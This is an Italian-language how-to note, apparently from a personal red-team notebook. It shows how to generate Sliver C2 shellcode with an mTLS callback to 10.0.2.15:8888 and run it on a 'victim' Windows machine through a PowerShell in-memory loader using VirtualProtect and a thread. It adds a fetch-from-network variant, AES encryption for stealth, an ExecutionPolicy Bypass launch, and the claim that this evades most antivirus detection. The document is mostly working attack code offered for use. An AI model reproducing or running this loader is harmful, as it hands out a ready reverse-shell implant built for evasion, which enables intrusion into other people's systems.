tags: Sliver Sliver_Shellcode Reverse_Shell_Steatlh


Genera Shellcode

sliver> generate --mtls 10.0.2.15:8888 --os windows --arch amd64 --format shellcode --save payload.bin

Copia e incolla il file payload.bin nella macchina vittima e poi sempre dalla macchina vittima apri una powershell e inserisci queste righe:

$buf = [System.IO.File]::ReadAllBytes("C:\Users\utente\Downloads\payload.bin")
$size = $buf.Length
 
# Alloca memoria
$addr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($size)
 
# Copia lo shellcode nella memoria allocata
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
 
# Modifica permessi della memoria in RWX (Read-Write-Execute)
$old = 0
$kernel32 = Add-Type -memberDefinition @"
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
"@ -Name "Kernel32" -namespace Win32Functions -PassThru
 
$kernel32::VirtualProtect($addr, $size, 0x40, [ref]$old) | Out-Null
 
# Crea thread per eseguire lo shellcode
$thread = [System.Threading.Thread]::New([System.Action]{
    $action = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($addr, [Action])
    $action.Invoke()
})
$thread.Start()

Cambia "C:\Users\utente\Downloads\payload.bin" col percorso esatto dove hai copiato il file.

Dopo aver incollato lo script nella finestra di PowerShell, premi Invio.

Lo shellcode:

  • Verrà caricato direttamente in memoria

  • Non creerà file eseguibili visibili sul disco

  • Sfugge alla maggior parte dei rilevamenti antivirus basati su file

  • Puoi scaricare direttamente lo shellcode dalla rete senza salvare nulla sul disco, con powershell

$buf = (Invoke-WebRequest -Uri "http://10.0.2.15/payload.bin").Content
  • Cripta lo shellcode con AES e decrittalo prima di eseguire per maggiore stealth.
  • Integra lo script di PowerShell in un file .ps1 e lancialo con:
powershell -ExecutionPolicy Bypass -File loader.ps1